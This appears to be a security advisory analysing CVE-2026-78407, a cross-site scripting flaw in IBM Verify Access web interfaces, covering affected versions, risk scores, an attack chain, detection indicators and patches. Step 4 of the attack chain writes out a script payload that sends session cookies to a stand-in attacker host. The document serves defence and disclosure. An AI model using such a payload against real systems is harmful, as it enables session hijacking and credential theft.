CVE-2026-78407: 
IBM Security Verify Access (formerly ISAM) vulnerability analysis and mitigation

CVE-2026-78407 is a stored/reflected cross-site scripting (XSS) vulnerability in IBM Security Verify Access and IBM Verify Identity Access Web UI components. It affects IBM Security Verify Access versions 10.0 through 10.0.9.2 (including container editions) and IBM Verify Identity Access versions 11.0 through 11.0.3 (including container editions). The vulnerability was published on October 8, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory, IBM Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), arising from insufficient sanitization of user-controlled input before it is rendered in the Web UI (GitHub Advisory). An authenticated, low-privileged attacker can inject arbitrary JavaScript into the Web UI, which is then executed in the browser context of other users within a trusted session. Exploitation requires network access, low privileges, and victim user interaction (e.g., viewing a crafted page), with a changed scope indicating the injected script can affect resources beyond the attacker's own session (GitHub Advisory). No public proof-of-concept code has been identified at this time (IBM Advisory).

Successful exploitation allows an authenticated attacker to embed malicious JavaScript in the Web UI, potentially altering its intended functionality and leading to credential disclosure within trusted sessions (GitHub Advisory). The confidentiality and integrity impacts are rated low, with no availability impact; however, credential theft within an identity and access management platform could enable privilege escalation or lateral movement if stolen credentials belong to higher-privileged users (IBM Advisory). Given that IBM Security Verify Access and Verify Identity Access serve as centralized authentication gateways, compromise of credentials through this vector could have downstream effects on protected resources.

There is no evidence of active in-the-wild exploitation or publicly available proof-of-concept code for CVE-2026-78407 (GitHub Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and the SSVC assessment indicates exploitation is currently "none." The EPSS score is approximately 0.133% (3rd percentile), reflecting a low near-term exploitation probability (GitHub Advisory). No threat actor attribution has been reported.

1. Reconnaissance: Identify IBM Security Verify Access or Verify Identity Access instances running versions 10.0–10.0.9.2 or 11.0–11.0.3 respectively, accessible via the network.
2. Authentication: Log in to the Web UI using any valid low-privileged account.
3. Identify injection point: Locate a Web UI input field or parameter that is reflected or stored without proper output encoding (e.g., user profile fields, configuration labels, or other user-controlled inputs rendered in the UI).
4. Craft XSS payload: Prepare a JavaScript payload designed to steal session cookies or credentials, for example: <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a keylogger targeting login form fields.
5. Inject payload: Submit the crafted payload through the vulnerable input field so it is stored or reflected in the Web UI.
6. Trigger execution: Induce a higher-privileged user (e.g., administrator) to view the page containing the injected script, either through social engineering or by placing the payload in a commonly accessed UI element.
7. Harvest credentials: The victim's browser executes the malicious JavaScript, exfiltrating session tokens or credentials to the attacker-controlled endpoint (GitHub Advisory, IBM Advisory).

• Network: Unexpected outbound HTTP/HTTPS requests from administrator or user browsers to external or unknown domains shortly after accessing the IBM Verify Access Web UI; unusual GET/POST requests containing encoded JavaScript or Base64 strings in URL parameters.
• Logs: Web application access logs showing requests with script tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (%3Cscript%3E) in input fields or URL parameters; repeated access to the same UI page by multiple user accounts in a short timeframe.
• File System (if stored XSS): Unexpected or modified entries in the application's database or configuration files containing <script> tags or JavaScript URIs.
• Process/Session: Anomalous session activity such as simultaneous logins from geographically disparate locations using the same account credentials, suggesting stolen session tokens are being reused (GitHub Advisory).

IBM has released patched versions addressing this vulnerability: update IBM Security Verify Access to version 10.0.9.3 or later, and IBM Verify Identity Access to version 11.0.3.1 (or 11.0.4) or later (IBM Advisory). As interim mitigations, administrators should implement Content Security Policy (CSP) headers to restrict unauthorized script execution, apply the principle of least privilege to limit the number of accounts that can modify Web UI content, and monitor Web UI logs for unusual JavaScript execution patterns. Upgrading to the patched release is the recommended and definitive remediation.